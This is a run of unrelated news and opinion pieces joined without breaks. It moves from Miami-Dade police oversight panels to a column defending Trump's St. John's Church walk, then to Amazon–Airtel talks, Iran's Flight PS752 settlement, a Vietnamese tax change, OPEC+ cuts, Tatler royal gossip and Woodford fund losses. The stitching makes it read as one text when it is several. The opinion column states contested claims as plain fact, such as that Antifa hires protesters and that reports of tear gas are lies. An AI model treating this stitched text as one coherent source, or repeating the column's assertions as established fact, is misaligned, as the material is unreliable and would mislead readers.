In 1979, 33-year-old McDuffie ran a red light on his motorcycle. When Miami-Dade County officers caught up to the former Marine, they beat him into a coma. He died days later from his injuries. In 1980, an all-white Tampa jury acquitted four Miami-Dade officers of killing McDuffie.

Riots broke out in Miami. Buildings were set aflame and the National Guard was deployed. Eighteen people were killed, hundreds were hurt and a community was scarred by the pain of feeling that justice was not served.

In the aftermath, Miami-Dade County created the Independent Review Panel to hear and investigate complaints of police misconduct, review disciplinary actions by internal affairs, and issue reports and recommendations. The panel worked for 30 years until it lost its funding in 2009 during the budget crisis caused by the Great Recession.

In 2018, Gimenez vetoed a revival of the review panel after Miami-Dade commissioners approved the measure. The vote was led by one of the commissions four black members, Barbara Jordan. A group of citizens studied the history of the original panel for a year, ultimately recommending it be revived as the Independent Community Panel, which would hear complaints against police officers and other county employees.

Miami-Dade Commissioner Barbara Jordan proposed reviving a civilian panel to review county police actions but her plan was vetoed by Mayor Carlos Gimenez.

Commissioners brushed back objections from the county police department and law enforcement union, with Yes votes from each of the 13-seat commissions four black members  Jordan, Audrey Edmonson, Jean Monestime and Dennis Moss  and three other commissioners.

At the time, commissioner and former Miami-Dade police officer Joe Martinez argued against scrutiny of police by civilians.

I suffered under these people, Martinez said. I dont like being judged by people who have never walked in my shoes.

When he issued his veto, Gimenez said he would only support a board filled with commissioners political appointees. Jordans proposal would have filled seats with representatives of outside groups, including the countys police chief association and the American Civil Liberties Union.

On Thursday, Gimenez reiterated his position, saying he wanted a politically appointed board and not one with seats filled by outside groups.

I wanted the commissioners to be able to name their own representatives, he said.

This week, Miami-Dade Commissioner and mayoral candidate Esteban Steve Bovo said the county has enough accountability measures in place for police.

For the record, in Miami-Dade we have numerous community relations boards, a County Commission that is one of the most diverse in the nation, as well as training requirements for our law enforcement that has evolved over years of difficult situations, said Bovo.

County commissioners (from left) Esteban Bovo, Jr., Daniella Levine Cava and Jean Monestime.

Bovo tweeted the statement Sunday after CBS4 reporter Jim DeFede asked several county mayor candidates if they would support reestablishing a civilian review board.

In 2018, Bovo voted against the panels revival. Two other sitting commissioners and mayoral candidates, Daniella Levine Cava and Xavier Suarez, voted for Jordans legislation and said this week they still want to see the board reinstated. Alex Penelas, the former mayor who is running again in 2020, said he is also supportive.

Citizen participation and oversight is always a good thing and goes a long way in restoring confidence, he said. Thats why I supported and funded an Independent Review Panel when I was mayor and support it now.

Police civilian oversight panels have always been a controversial topic and despised by politically powerful police unions, which view them as just another unnecessary layer of authority in addition to internal affairs. The unions have fought particularly hard against oversight groups that are granted subpoena power, which the unions believe violates protections under Floridas Law Enforcement Officers Bill of Rights.

In the city of Miami, spates of police violence and corruption led voters to override any such opposition in 2001.

The Civilian Investigative Panel (CIP) was overwhelmingly approved by referendum that year after multiple fatal police shootings of black men. Thirteen officers were indicted on charges of planting guns, nine of whom were later convicted. Support for the vote was cemented in 2000 after members of the Cuban-American community complained of rough treatment at the hands of police during the seizure of Elian Gonzalez.

Rodney Jacobs, assistant director of Miamis Civilian Investigative Panel.

Still, the union continued to battle the civilian panel and was finally rewarded in 2017 when the states Supreme Court ruled the panel could no longer subpoena city police being investigated because it violated protections of officers rights under state law.

The decision ended an eight-year battle with the union that began when one of the citys most celebrated officers  Freddy DAgostino, who once had a severed head tossed at him  filed a lawsuit to block a CIP subpoena in 2009.

After the first night of protests prompted by George Floyds death, Rodney Jacobs, the CIPs assistant director, said the panel is a place for the community to air its frustration. He encouraged the community to take its complaints to the panel.

Your only option is not just to protest or go to the streets. You can come to our office. You can file a complaint, Jacobs said. Use that collective energy that you have right now at our meetings. Use that collective energy to ensure that your local leaders understand why our department is vital. Use that energy appropriately.

Miami panel has uncovered problems

Cases arising from the Miami panels work are sometimes covered in the media, but get little public attention. Its meetings are sparsely attended. The full panel meets the third Tuesday of every month. Meetings are being held online now during the pandemic. People can file complaints online.

The panels primary power is in the information it puts before the public by investigating claims, examining body camera footage and other records, and conducting interviews to see if complaints against police are valid and if internal affairs investigations were properly handled.

Officers rarely respond to interview requests during CIP inquiries  they are not obligated to participate and cannot be subpoenaed  but the panel has found in multiple cases that camera footage and other evidence contradict official police accounts.

The effectiveness of police oversight can be difficult to measure when the panel can only bring information to light and make recommendations. But the panels executive director, Cristina Beamud, pointed to a few examples that uncovered problematic internal affairs investigations and forced the police chief to take action.

She noted a case in 2014 when an attorney shopping at the Publix in downtown Miami watched a Miami police officer use a Taser on a homeless man while trying to remove him from the store. The attorney complained to internal affairs, which eventually closed the case because it couldnt find the homeless man. Records obtained by the panel showed the Taser was deployed several times, leading Miami Police Chief Manuel Orosa to reopen the case and reprimand the officer.

Then in 2017, Beamud said, then-Chief Rodolfo Llanes agreed to reopen a case involving a Guatemalan woman who complained that police refused to help her when she reported her purse was stolen at a downtown department store. Internal affairs had closed the case because police said she couldnt provide a passport to verify her identity.

Miamis CIP has also engineered some fairly high-profile cases.

In 2007, a panel inquiry forced Miami Police Chief John Timoney to go before Miami-Dades Commission on Ethics and Public Trust over a Lexus SUV he had received for free from a dealership in Kendall. He had never recorded it as a gift. Timoney eventually agreed to a weeks docked pay, a $500 fine and a written reprimand.

In January 2019 the panel found fault with several officers who were seen on video kicking and pummeling a man named Ravon Boyd in Overtown as he lay on the ground with his hands in the air. Officers had lied on their written reports of the incident. One officer eventually resigned as the department was preparing paperwork to fire him for covering his body-worn camera.

The CIP has called out the department multiple times when police misused the cameras and failed to turn them on. In the case of Boyds beating, body camera footage from the officer who resigned contradicted the paperwork.

Body camera footage, along with bystander cellphone footage, has aided police oversight on multiple occasions.

Miamis current police Chief Jorge Colina said he supports the civilian oversight panel because it was created by a public vote. Assistant Miami Police Chief Cherise Gause, a black woman, said the CIP helps to build trust and legitimacy in the community.

It lessens the amount of suspicion, she said.

The public has a difficult time understanding how difficult it is to fire a police officer, Gause said. Miami, for instance, had an officer on its payroll who had been suspected for six years of being involved in a murder but was never charged. Another, who was fired by Colina, returned after it was determined his firing violated the collectively bargained agreement between police and the city.

The officer suspected of being involved in the murder was finally fire last summer on a technicality  when a state appeals court ruled the city could fire him for refusing to take a drug test.

The citizens panel is good for oversight and it helps the community to understand our policies and procedures, said Gause.

At minimum, the panel provides people a public forum through which they can air their grievances.

Oversight isnt a new innovation. It helps people have outlets for their anger, Jacobs said.

The anger over racism in law enforcement has manifested in protests that have ranged from calm to violent across the U.S., though demonstrations have remained mostly peaceful in Miami this week. Still, black community leaders want the public to know that calmer protests do not mean there isnt a strong movement for change.

As protests across Florida intensify, Miami emerges as peaceful outlier. Heres why.

At a meeting of Miami-Dades Black Affairs Advisory Board on Wednesday, members tried to deflate the notion that limited damage from protests meant the Miami area had exempted itself from policing problems that need fixing. The board voted to urge Miami-Dade to bring back the civilian review panel.

Im certain that every black person on this Zoom has had a family member, or has personally themselves, experienced some sort of racial bias, or racial treatment, at the hands of the police, in this county or wherever theyre from originally, Ruban Roberts, president of the Miami-Dade NAACP and a board member, said during the online meeting.

Roberts said such a review panel can bring misconduct to light, even if the board has no subpoena power.

Every municipality in the county, including the county, should have a civilian oversight panel, Roberts said.

The advisory boards chairman, Stephen Hunter Johnson, said he backed Gimenezs position of political appointees for the board as long as the county provides proper funding for investigators. Weve had nothing while we waited so long for perfection for the board to come back into action, said Johnson, a Miami lawyer. If you look at the County Commission, its a really diverse place. Im proud of that.

At the meeting, Johnson announced the Black Affairs board would start serving as a temporary review panel through records requests for all citizen complaints against county officers.

Well start asking the questions, he said.

The review panel was part of a collection of reforms promoted by advisory board members at Wednesdays meeting. Others included weakening Floridas officer bill of rights to allow quicker and more aggressive discipline of police misconduct, and establishing a countywide database of police complaints to prevent an officer from leaving his or her disciplinary record behind when hired by a nearby agency.

Last year, twenty-six other civic groups endorsed more civilian oversight in Miami-Dade, including the Community Justice Project, Family Action Network Movement, Temple Beth Sholom, Florida Immigrant Coalition and the Dream Defenders.

Protestors peacefully started marching from the Richard E. Gerstein Justice Building through Wynwood, on Tuesday, June 02, 2020, as hundreds protested George Floyds death.

Violent history, federal oversight

When Justin Pinn talks about being a black man trying to address racism in policing, he talks about where he keeps his wallet when hes driving. Its out on the center console, visible, just in case he needs it to show a police officer who might respond with force if he were to reach into his pocket.

If I get pulled over, I can say that Im reaching for it, he said.

Pinn, a local education nonprofit executive, described the everyday fears woven through the black experience of law enforcement, a perspective he brings to his role as chairman of a citizen advisory board created to oversee training and use-of-force reforms in the citys police force since 2016.

The U.S. Department of Justice mandated the creation of the citizen board after a federal investigation sparked by a string of deadly police shootings. In eight months spanning 2010 and 2011, Miami police fatally shot seven young African-American men. In reviewing 33 police shootings from 2008 to 2011, the Justice Department found Miami police had excessively used deadly force and haphazardly investigated police shooting. A scathing 2013 DOJ report also stated that the department had used poor tactics that endangered officers and the public.

And the feds had come down on the department before. The DOJ said Miamis problems were systemic issues that were unresolved by a previous and similar federal investigation.

2013 Justice Department report on Miami police by Joey Flechas on Scribd

With this context, Pinn reflected on the messages from those marching around Miami, the demands to overhaul the policing and the criminal justice system, from routine policing to the prosecution of abusive cops. Pinn and protesters asked for training that will help police identify and stamp out their own inherent biases.

Were going to need implicit bias training, or we will have a George Floyd in our community, Pinn said. If youre not doing the work to prevent it, then it will happen.

The board he leads has noted several positive changes the department has made after DOJ scrutiny. But the board has not been satisfied with the reports written by Jane Castor, who until recently was the federally appointed monitor tasked with overseeing the reforms.

A former Tampa police chief, Castor fell behind on delivering timely reports to Pinns board as she ran for mayor of Tampa in 2018 and 2019. The board never received evidence it requested from Castor to verify the department pursued implicit bias training and de-escalation techniques to avoid using excessive force.

After she was elected mayor of Tampa in May 2019, Castor and Miami police claimed the city was in compliance and the federal oversight was no longer necessary. The DOJ disagreed and appointed a new monitor. The consent decree that requires federal oversight was set to expire in March 2020, but the COVID-19 pandemic has prevented a formal resolution of the matter. A final report from the new monitor is still pending.

Pinns board has long discussed how the department would benefit from deeper cultural changes that would address issues with the public as well as internal problems.

In January, the citys black police union accused Colina of ignoring complaints of racial discrimination and inequality in his force. In a public meeting at City Hall, the union outlined a list of cases that suggested a pattern of unfair treatment of black officers in the police department, particularly black men. Colina defended his record, pointing to promotions of black police through the ranks.

One of the associations complaints focused on Javier Ortiz, a notorious Miami police captain and former union president who has risen through the ranks of the department despite making controversial and racist remarks and social media posts through his career. He once drew demonic eyes and teeth on a black suspects mugshot. He called 12-year-old Tamir Rice  shot and killed by Cleveland police while the child played with a toy gun  a thug. He publicly supported the Ferguson, Missouri officer who shot and killed unarmed Michael Brown.

At the January hearing, the black police union presented documents that show Ortiz identified as a white Hispanic when he first applied to work for the department more than a decade ago. Then years later, on exams taken to qualify for promotions, he listed his race as black or African American (non-Hispanic). Fellow police officers and commissioners were offended, and Ortiz incited more ire when he publicly asserted he was black.

Im a black male. Yes, I am, and I am not Hispanic, Ortiz said. I was born in this country. Never went to Cuba. I never went to Spain.

Proposed changes in Broward

There isnt an independent civilian oversight board for the Broward Sheriffs Office, but Broward County Mayor Dale Holness told the Miami Herald on Monday that creating one is an essential thing that needs to be done, saying it would be a very important step forward.

Holness said there are problems with a department policing itself, including fear of retribution from colleagues if internal affairs officers recommend punishment against one of their own.

The mayor said hes not sure whether the County Commission has the power to create such a panel, and that it may need to go through a voter referendum because the sheriff is independently elected. He said he plans to raise the question at a commission workshop on racial inequity planned for later this month.

Broward Sheriff Gregory Tony told the Herald he would support the idea, but wants to first give the offices internal review panel a chance to start holding deputies more accountable for misconduct.

In February, Tony replaced 10 of 11 members of the Professional Standards Committee that makes recommendations to the sheriffs office regarding deputy discipline, which includes both BSO command staff and civilians outside of law enforcement. The sheriffs office also has an internal affairs division that turns its findings over to the panel for review.

Tony has fired several deputies since his January 2019 appointment, at times defying recommendations by the panel. That has contributed to an ugly relationship between Tony and the Broward police union, which has argued he exerts too much influence over the review process.

On Monday, Tony said he felt confident that the new members of the Professional Standards Committee, led by retired Broward County Judge Julio Gonzales, would make more fair recommendations than he feels the panel has in the past. But Tony added that he wouldnt oppose considering a full civilian board if the existing committee failed the community.

We would have to examine that, Tony said. If we cant police ourselves effectively, then were gonna lose the public trust.
The media has had a field day attacking President Trump for his walk across Lafayette Square to pay his respects to St. Johns Episcopal Church that was set afire by rioters. Certainly, as so many commentators noted, the rioters setting a fire at St. Johns crossed a line into territory that no sensible person could defend. Throughout its history, St. Johns has been considered a national church because sitting presidents since the 19th century have walked across that park to attend church at St. Johns. Numerous ceremonial events have taken place in that sanctuary where a pew was reserved for Abraham Lincoln.

While the nation mourned the terrible injuries and even deaths from the rioting and despaired at the billions of dollars of property lost in the wanton destruction, the fire at St. Johns struck a nerve deep inside the nations psyche. The Presidents gesture of respect -- acknowledging the importance of houses of worship and sacred places, especially now during these turbulent times -- was appropriate. The orange man bad crowd will, of course, never grant that he was motivated by a desire for healing and bringing America back to the moral norms grounded in religion that are essential for freedom. Trump, unlike his critics, moved to symbolically align himself with what John Adams pronounced from the very beginning that Our Constitution was made only for a moral and religious people. It is wholly inadequate to the government of any other.

The Presidents taking a stand in front of the now boarded-up church was akin to President Bush standing in the ruins of the World Trade Center following 9/11. It was like President Reagan (defying the advice of his spineless State Department) standing in front of the Berlin Wall to demand that Soviet President Mikhail Gorbachev tear down this wall.

Immediately, the media went on the offensive with an outpouring of false claims that police and the National Guard cleared the square by tear gassing peaceful protesters so the President could have a PR photo op. Literally thousands of newspaper articles, news reports on radio and television and comments on social media -- contrary to what the public had watched with their own eyes night after night on television -- painted a false picture of cruel, aggressive law enforcement harassing, shoving, and abusing peaceful demonstrators and using tear gas to get them out of the way to satisfy the Presidents ego.

That outcry about police brutality continues -- even from major news sources -- though the assertions are totally false and based entirely on lies and distortions.

The Park Service issued a statement clarifying their procedures at Lafayette Park. Knowledgeable observers categorically declared only smoke canisters and pepper balls were used and there is absolutely no evidence of tear gas being used. The pictures and video from the event clearly show the police were not wearing the requisite gas mask to use tear gas, but the lies continue and are pervasive.

The police report that the protesters were combative, trying to grab officers weapons, throwing glass bottles, frozen water bottles, and other projectiles and were definitely not peaceful. All this is consistent with what the television broadcasts documented.

These complaints joined those of other media and anti-Trump voices making fun of the President holding a Bible in front of the church. The New York Times Elizabeth Bruening described the event as macabre. These are the same voices that tried to convince us that it was legitimate humor for comedian Kathy Griffin to hold up what looked like Trumps severed head. The Episcopal bishop, the Right Rev. Mariann Buddle, who presides over St. Johns, was outraged that her church was used as a backdrop for such an event. Suddenly Democrats like New York gov. Andrew Cuomo and House Speaker Nancy Pelosi went a step further and actually read from a Bible to one-up the President.

The medias false narratives are evil. As they aid and abet those who are rampaging through our cities, the false narratives are tremendously destructive and are causing billions of dollars of property damage to the very businesses that people depend upon for goods and employment -- many of them owned by blacks who invested their lifes savings to try to make it. Now, all that entrepreneurial effort lies in waste. In addition to the material costs and lost dreams, those instigating the rioters and the false reports are destroying the respect for law enforcement and the nations institutions in the minds of the nations young people. Molly Hemingway, on Twitter, summarized the situation succinctly:

Battle lines are more clearly being drawn these days, between those who clearly believe America is irredeemably evil and must be violently overthrown and those who believe America remains the greatest country on earth, based on rule of law, individual liberty, and inalienable rights.

For all his faults (Who among us is perfect? Certainly not some of those criticizing him the loudest!), President Trump is clearly leading the fight to keep America the greatest country on earth, based on rule of law, individual liberty, inalienable rights. Clearly, too, he is up against forces that see America as irredeemably evil and want to violently overthrow the government and destroy our society. Antifa -- as well as those who are pouring money into their efforts and those who are using their celebrity to promote their values and those who are using their media platforms to distort reality and help them achieve their goals -- knows how to exploit a crisis; these anarchists have been studying and training to be ready to immediately step into a situation like the tragic death of George Floyd to hijack the protests and turn them into riots. They not only hire protestors and supply them with bricks, hunks of concrete, frozen water bottles and other projectiles; they have studied how to manipulate legitimate protests with violent actions and rhetoric in order to ensnare young people by exploiting their natural desire for justice and yen for excitement.

Throughout history, leaders have used symbolic actions, events and rhetoric to unite and heal situations and problems. There are hundreds of scholarly studies, popular articles, and books attesting to the significance of symbolic acts in healing, inspiring people. Visionary and effective leaders rely on symbolic acts to convey meaning that goes deeper than words. Symbols speak to our subconscious at levels we dont really understand; its an instinctual connection that touches frozen emotions and frees us to visualize healing while were still reeling from shock and horror at what has happened. Seeing the President walk freely across a park where during the previous two nights shocking and horrible rioting had threatened the White House and 60 Secret Service agents were injured was comforting. In the midst of chaos, ordinary American people saw normality restored.

While any one of us could nitpick various aspects of the event, theres no question that the evocative images of the President standing for freedom, supporting law enforcement and respecting the church universal in front of St. Johns while holding the Holy Scriptures were powerful symbols of the foundations of American freedom and justice. The President was taking a stand: our nation has a firm foundation in the midst of chaos and crisis. He was saying: we will remain resolute and we will overcome this crisis and become a greater America. Im reminded of Francis Schaeffers warning that if we demand perfection or nothing; we will inevitably get nothing. Our nation is still reeling from the disastrous coronavirus pandemic. The death of George Floyd was an atrocity on top of that disaster. Now the riots are adding calamity on top of disaster and atrocity -- a triple whammy, if you will! If we demand perfection from our President during these turbulent times -- a totally unreasonable standard we have not required of other presidents -- we will inevitable end up with something much worse!
By PTI

NEW DELHI: E-commerce giant Amazon is in exploratory discussions with telecom operator Bharti Airtel for a possible investment, according to sources.

While the investment amount could not be immediately ascertained, a report pegged it at about USD 2 billion.

When contacted, a Bharti spokesperson said, "We routinely work with all digital and OTT players and have deep engagement with them to bring their products, content and services for our wide customer base. Beyond that there is no other activity to report."

An Amazon India spokesperson said the company does not comment on speculation about what it may or may not do in future.

The latest buzz comes at a time when Indian telecom companies seem to be on the radar of global investors and tech giants.

Over the past few weeks, Reliance Industries' digital unit Jio Platforms has raised billions of dollars from marquee technology investors including Facebook, KKR, Silver Lake Partners, Vista Equity Partners and General Atlantic.

Market sources said talks are on between Amazon and Airtel for a possible investment and equity buy, but the discussions are at a "very initial stage".

An industry watcher who did not wish to be identified said more deals may be in the offing as global tech companies eye a bigger slice of the Indian market, working in tandem with the telecom operators.

At 574 million, India boasts of the world's second-largest base of internet users.

Last week, there were reports that Alphabet Inc's Google is eyeing about 5 per cent stake in Vodafone Idea, although the telecom operator clarified that it constantly evaluates various opportunities and there is no proposal before the board of the firm as yet.

On May 26, Airtel's promoter firm Bharti Telecom sold 2.75 per cent stake in the company to institutional investors in the secondary market, raising over Rs 8,433 crore.

The sale proceeds will be fully utilised to repay debt at Bharti Telecom and will make the promoter holding firm a 'debt-free company'.

Amazon, which has pumped billions of dollars into its Indian e-commerce operations, is looking at strengthening its foothold in the local market.

A potential investment will provide it greater firepower to take on Walmart-backed Flipkart as well as recently launched JioMart, following Facebook's USD 5.7 billion investment in Jio Platforms.

JioMart -- a new Reliance Retail Ltd commerce marketplace which connects customers with kirana stores and other small and micro-local Indian businesses -- plans to leverage the huge reach that Facebook's WhatsApp has in the country.

Apart from investing in e-commerce and food retail businesses, Amazon has also picked up stake in various offline retail chains in India.

In 2017, retail major Shoppers Stop had announced raising Rs 179.26 crore from Amazon.

com Investment Holdings LLC through an issue of equity shares, which translated to just over 5 per cent shareholding.

In September 2018, Amazon said it had co-invested in Witzig Advisory Services, the entity which had acquired Aditya Birla Retail's More chain of stores in India.

In August last year, Future Retail had informed stock exchanges that Amazon.

Com NV Investment Holdings LLC would acquire 49 per cent stake in Future Coupons Ltd from the promoters, led by Kishore Biyani, for an undisclosed amount.

At that time, Future Coupons held 7.3 per cent stake in Future Retail.
In a statement issued on Thursday, the Embassy of the Islamic Republic in Ukraine for the first time admitted that Iran has proposed a settlement to close the case of the country's Flight PS752 which Iran's Revolutionary Guard downed in January.

The statement says Iran is willing to resolve the issues related to the incident and "therefore, underlines that it is necessary [Ukraine] expedites its response to the proposal officially submitted to Kiev three months ago".

The Ukrainian passenger plane was hit by two missiles shortly after taking off from Tehran's Imam Khomeini International Airport on January 8. All 176 passengers and crew members onboard were killed in the crash. It took Iranian authorities three days to finally admit that the Revolutionary Guard was responsible for firing the missiles at the plane.

Eugene Enin, Deputy Foreign Minister of Ukraine who is in charge of the case of the crash dossier, met with the Iranian Ambassador Manouchehr Moradi on Tuesday to discuss the matter. On Thursday he told Radio Farda that Iran's proposed MoU subjects the deciphering of the flight recorders to conditions but Ukraine has repeatedly announced that such no conditions are acceptable.

"We stress that examining the contents of the flight recorders is subject to the responsibilities that Iran has accepted in the framework of Montreal and Chicago conventions. They must submit the flight recorders to a country that can decode them if they are not able to do so themselves, Enin added.

According to Enin Ukraine demands a guarantee of implementation of international laws, explanation of the real cause of the incident -- whether human error or other reasons -- and punishment of those responsible for the incident.

The Ukrainian Foreign Ministry official in charge of the case also said Ukraine wants technical and criminal investigations to be conducted alongside the legal proceedings for which decoding the flight recorders is only one of the required steps.

Radio Farda disclosed the content of the proposal on April 14 on the basis of interviews with Ukrainian informed sources who had seen the proposal. The proposed Memorandum of Understanding (MoU), contained a vague promise of compensation in return for Ukraine abandoning any further claims against Iran.

Radio Farda's sources said that the proposed MoU appeared to oblige Ukraine and the families of victims of flight 752 to waive their right to pursue the matter any further through courts and accept "human error" as the cause of the crash.

Commenting on the proposal, a Ukrainian aviation law expert told Radio Farda that Iran's aim was probably to separate Ukraine from the other countries with victims in the plane disaster.

The Ukrainian government has consistently rejected a separate deal with Iran and says its position has not changed. "We work for the result in close collaboration with colleagues from the International Disaster Relief Coordination Group. These are the ministers for foreign affairs of Canada, Sweden, Afghanistan and the United Kingdom, to establish justice, get compensation for families, and ensure a full, independent and transparent investigation under international law," Dmytro Kuleba told REF/RL's Ukrainian Service on April 17.

On April 16 the foreign ministers of Canada, Ukraine, Sweden, Afghanistan and the UK  members of the International Coordination and Response Group for the victims of Flight PS752  issued a joint statement in which they said the members of the coordination would assure the families and loved ones of the victims that the group of ministers advocate for full accountability, transparency, justice, compensation, and a full, independent and transparent investigation.
A worker constructs the railway of the Ben Thanh - Suoi Tien Metro Line in Ho Chi Minh City. Photo by VnExpress/Quynh Tran.

Vietnams lawmakers have approved a proposal to increase the minimum taxable income threshold by 22 percent to VND11 million ($479) starting July 1.

This means that a person with an income of less than VND11 million per month will not have to pay personal income tax. The current threshold is VND9 million ($392).

The threshold will increase by VND4.4 million ($192) for each dependent a person claims, also up 22 percent from now.

This means a person with a monthly income of VND15 million ($653) with one dependent will no longer have to pay personal income tax, compared to a tax of VND120,000 ($5.2) now.

A person making VND20 million ($870) a month with two dependents will pay VND10,000 (44 cents) instead of VND190,000 ($8.3) now.

The new threshold will exempt an addition of one million people from personal income tax obligations, the government had estimated earlier.

But experts had also expressed opposition to the increase, saying it was too small compared to the fast-growing economic growth the country has recorded in recent years.

Nguyen Khac Quoc Bao, head of the finance department at the HCMC University of Economics, suggested a 55 percent increase to VND14 million ($609) so that more people will be exempt from tax duties.

By the end of last year, there were 6.88 million income taxpayers who contributed over VND79.2 trillion ($3.41 billion) to the states coffers, according to the Ministry of Finance.

The ministry estimates that revenue from income tax would fall 13 percent to VND68.92 trillion ($2.96 billion) with the new threshold.
OPEC+ is set to extend production cuts to prop up the oil market after a breakthrough in high-stakes negotiations, with the alliance meeting on Saturday to sign off on the deal.

After almost a week of wrangling, the group's leaders Russia and Saudi Arabia clinched a tentative deal with holdout member Iraq, according to a delegate. The pair were pushing Baghdad to stop shirking its share of cuts and to compensate for past failings.

The Organization of Petroleum Exporting Countries will meet by video conference on Saturday at 1 p.m. London time, followed by a conference with their OPEC+ allies two hours later, delegates said.

The agreement, once ratified, will prolong the record OPEC+ production curbs for another month until the end of July, instead of easing them as previously planned. Ministers may review later this month whether a further extension into August is warranted, a delegate said.

Brent crude advanced as traders anticipated a tighter market in the coming months, with sentiment further buoyed by a surprise drop in the U.S. unemployment rate. The international benchmark was poised for a sixth weekly advance, rising 4.9% to $41.98 a barrel as of 2:56 p.m. in London.

"We're reasonably optimistic on the outlook for oil in the second half of the year," Isabelle Mateos y Lago, co-head of the official institutions group at BlackRock Inc., said in an interview with Bloomberg television. "Demand is likely to recover far more quickly than supply."

OPEC+ is used to dramatic glitches endangering deals at the last minute, so delegates said nothing would be agreed until formal communications take place.

By accepting stricter terms, the Iraqi government risks a backlash from parliamentarians and rival political parties for acceding to foreign pressure. Still, the Oil Ministry in Baghdad said in a statement on Friday that it will comply in full with pledged OPEC+ cuts despite the country's difficult financial circumstances.

Mexico, whose resistance to curbing output delayed the April deal, won't cause problems this time, the delegate said. Under the terms of that accord, the Latin American country wasn't expected to make production cuts beyond June.

Cutting production is always painful for oil-dependent states. Iraq in particular needs every penny because it's still rebuilding its economy following decades of war, sanctions and Islamist insurgency.

But members of the 23-nation OPEC+ alliance have a lot to gain by preserving their agreement. They have helped engineer a doubling in Brent prices since April, easing pressure on their government budgets of oil-rich nations.

The accord has also revived the fortunes of major energy companies like Exxon Mobil and Royal Dutch Shell, and prompted some U.S. producers to consider restarting wells just weeks after they were idled.

The deal in April set out historic cuts of 9.7 million barrels a day, or roughly 10% of global oil supplies, to offset the unprecedented collapse in demand caused by the virus lockdowns. Then a few weeks later, Saudi Arabia and its closest allies in the Persian Gulf promised additional supply restraint of 1.2 million barrels a day in June.

Those reductions were set to ease to 7.7 million barrels a day from July 1. so failure to reach an agreement this month could have brought a flood of oil back onto the market and undermined a tentative recovery as countries start emerging from coronavirus lockdowns.

With American shale production starting to come back online, OPEC's careful management of the demand recovery is crucial.

Saudi Arabia and Russia, who were on opposite sides of a vicious price war until a peace deal in April, are now united against those in OPEC+ who have consistently failed to shoulder their share of the burden. Moscow, a habitual laggard, has complied punctiliously with the historic accord brokered by President Donald Trump, and wants to make sure others do too.

"Reunited in leadership of OPEC+ and grimly facing many more months, if not years, of oversupply, Russia and Saudi Arabia had little to lose and much to gain by imposing concrete measures to improve compliance by the laggards, especially Iraq," said Bob McNally, founder of consultant Rapidan Energy Group and a former White House official.

The details of the deal between OPEC+ and Iraq on compliance were still not clear on Friday, and the statement from Baghdad didn't spell out whether they had agreed to compensate for overproduction in May.

Iraq made less than half of its assigned cutbacks last month, so compensating fully would require it to slash production by a further 24% to about 3.28 million barrels a day, according to Bloomberg calculations. That would be a tall order.

Three other nations -- Angola, Kazakhstan and Nigeria -- also produced above their OPEC+ quotas in May. The three pledged on Thursday to bring their output in line with the agreement.

By extending the cuts, the cartel wants the market to start drawing down the billion barrels of stockpiles that built up during the crisis. To force that to happen, OPEC+ intends to create an oil price structure called backwardation, with crude for immediate delivery priced higher than longer-term contracts, one delegate said.
Meghan, Duchess of Sussex might have an interesting connection to the journalist who wrote a scathing article for Tatler about Catherine, Duchess of Cambridge. The piece in question made some shocking claims about the Duchess of Cambridge, who has launched a lawsuit against the magazine. While Kate and Prince William are doing their best to shut the story down, a source is claiming the Duchess of Sussex has a link to the author of the article.

Kate Middleton and Meghan Markle | Stephen Pond/Getty Images

Kate Middleton and Prince William take action against Tatler

In a piece for Tatler, author Anna Pasternak made some surprising claims against Kate. The article slammed Kate for being boring and argued that she feels trapped and exhausted under the weight of Megxit.

In a shocking move, Pasternak also compared Kates weight fluctuations to Princess Diana, who openly discussed her eating disorders. At one point in the article, Pasternak noted that, like Diana, Kate was looking perilously thin.

William and Kate were understandably upset by the claims in the article and sent letters to Tatler asking the magazine to take it down. Kensington Palace even issued a statement assuring fans that the article featured a swathe of inaccuracies and false representations.

In response, Tatler has confirmed that the Cambridges sent them a notice to remove the piece. The magazine has zero intention of taking it down and slammed the couple for sending them a request that has no merit.

We can confirm we have received correspondence from lawyers acting for the Duke and the Duchess of Cambridge and believe it has no merit, the magazine stated.

Inside Meghan Markles apparent connection to the article

While royal watchers are eager to see how things play out, a source told The Sun that Meghan has an interesting connection to Pasternak.

The source claimed that Pasternak is close friends with Vanessa Mulroney, a former Tatler employee. Vanessa is the sister-in-law of Jessica Mulroney, who happens to be Meghans best friend.

Meghan and Jessica have been close for several years, and she was the maid of honor at the duchesss wedding in 2018.

As far as Pasternak is concerned, the source claimed the author believes everything she wrote in the article is correct and will not back down.

Pasternak is sticking to her story and saying her sources are good, the source said. She is very well connected in the US. She is friends with Vanessa Mulroney who used to work at Tatler and now lives in Canada.

Did the Duchess of Sussex speak to Pasternak?

Pasternak hails from Oxfordshire and is a veteran journalist who has worked for just about every major newspaper in the United Kingdom. She also recently penned a book titled The American Duchess and is the author of the 1994 book, Princess In Love, which documented Dianas romance with James Hewitt.

The identity of Pasternaks sources in the Tatler article remains unclear, but there is no evidence that Meghan said anything to her. That does not mean Meghan kept silent on the issue, but there is nothing to suggest that the Duchess of Sussex is one of the sources.

That said, this would not be the first time one of Meghans friends spoke out in her defense. After her wedding, five of Meghans friends talked to People Magazine in light of the drama surrounding her father, Thomas Markle.

It is widely believed that Jessica was one of those friends, though that has never been proven.

Is this how Meghan Markle feels about Kate Middletons drama?

Meghan has yet to share her thoughts on Kates drama with Tatler. Inside sources, however, claim that Meghan is not happy about how the royal family was quick to defend Kate against the British media.

According to NZ Herald, a source says that Meghan complained about how Kensington Palace never said anything when she was in the hot seat. But palace officials didnt even wait 24 hours before they released a statement defending the Duchess of Cambridge.

RELATED: Prince Charles Shows Off a Rare Photo of Kate Middleton and Meghan Markle

Meghan said Kensington Palace never once came to her defense when she was being shredded by the media, a source said. Now Kate gets a bit of negative press, and the Palace comes out in less than 24 hours to rebuke the claims made against her.

Meghan and Harry are currently living in Los Angeles, where they are reportedly looking to set down roots. The couples exit from the royal family went into effect at the end of March and will be re-examined next year.
The reputation of the firm overseeing Neil Woodford's failed fund took another battering as investors faced further losses and threatened it with legal action.

Link Fund Solutions said it had reached an agreement to sell a 'significant portion' of the remaining assets in the stricken Equity Income Fund.

But the deal values them at 442million  or 116million less than their stated value two weeks ago.

Link Fund Solutions said it had reached an agreement to sell a 'significant portion' of the remaining assets in Neil Woodford's stricken Equity Income Fund

In a further blow to investors whose savings have been locked in the fund for over a year, there was no sign of when they might actually see the money.

And now London law firm Nelsons is threatening to sue Link on behalf of investors, for failing to stand up for their best interests before the fund collapsed last year.

